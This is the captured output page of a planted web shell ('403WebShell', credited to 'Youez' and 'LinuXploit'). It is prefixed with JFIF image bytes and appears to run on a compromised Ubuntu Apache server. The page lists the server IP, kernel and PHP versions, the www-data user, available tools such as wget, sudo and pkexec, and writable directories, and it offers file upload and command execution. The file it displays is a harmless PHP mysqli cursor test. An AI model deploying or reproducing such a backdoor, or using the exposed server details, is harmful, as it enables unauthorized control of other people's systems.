????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.15.151.234
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/mysqli/tests/067.phpt
--TEST--
function test: nested selects (cursors)
--SKIPIF--
<?php
	require_once('skipif.inc');
	require_once('skipifconnectfailure.inc');
	require_once("connect.inc");

	if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket))
		die("skip Cannot connect to check required version");

	/* skip cursor test for versions < 50004 */
	if ((!$IS_MYSQLND && (mysqli_get_client_version() < 50009)) ||
			(mysqli_get_server_version($link) < 50009)) {
			die(sprintf("skip Client library doesn't support cursors (%s/%s)",
					mysqli_get_client_version(), mysqli_get_server_version($link)));
	}
	mysqli_close($link);
?>
--FILE--
<?php
	function open_cursor($mysql, $query) {
		if (!is_object($stmt = $mysql->prepare($query))) {
			printf("[001] Cannot create statement object for '%s', [%d] %s\n",
					$query, $mysql->errno, $mysql->error);
		}

		$stmt->attr_set(MYSQLI_STMT_ATTR_CURSOR_TYPE, MYSQLI_CURSOR_TYPE_READ_ONLY);
		return $stmt;
	}

	require_once("connect.inc");
	$mysql = new my_mysqli($host, $user, $passwd, $db, $port, $socket);

	if ((!$IS_MYSQLND && mysqli_get_client_version() < 50009) ||
		(mysqli_get_server_version($mysql) < 50009)) {
		/* we really want to skip it... */
		die(var_dump(63));
	}

	$a = array();

	for ($i=0;$i < 3; $i++) {
		$mysql->query("DROP TABLE IF EXISTS cursor$i");
		$mysql->query("CREATE TABLE cursor$i (a int not null) ENGINE=" . $engine);
		$mysql->query("INSERT INTO cursor$i VALUES (1),(2),(3),(4),(5),(6)");
		$stmt[$i] = open_cursor($mysql, "SELECT a FROM cursor$i");
		$stmt[$i]->execute();
		$stmt[$i]->bind_result($a[$i]);
	}


	$cnt = 0;
	while ($stmt[0]->fetch()) {
		$stmt[1]->fetch();
		$stmt[2]->fetch();
		$cnt += $a[0] + $a[1] + $a[2];
	}

	for ($i=0; $i < 3; $i++) {
		$stmt[$i]->close();
	}

	$mysql->close();
	var_dump($cnt);
?>
--CLEAN--
<?php
require_once("connect.inc");
if (!$link = my_mysqli_connect($host, $user, $passwd, $db, $port, $socket))
   printf("[c001] [%d] %s\n", mysqli_connect_errno(), mysqli_connect_error());

for ($i =0; $i < 3; $i++) {
	if (!mysqli_query($link, sprintf("DROP TABLE IF EXISTS cursor%d", $i)))
		printf("[c002] Cannot drop table, [%d] %s\n", mysqli_errno($link), mysqli_error($link));
}

mysqli_close($link);
?>
--EXPECT--
int(63)

Youez - 2016 - github.com/yon3zu
LinuXploit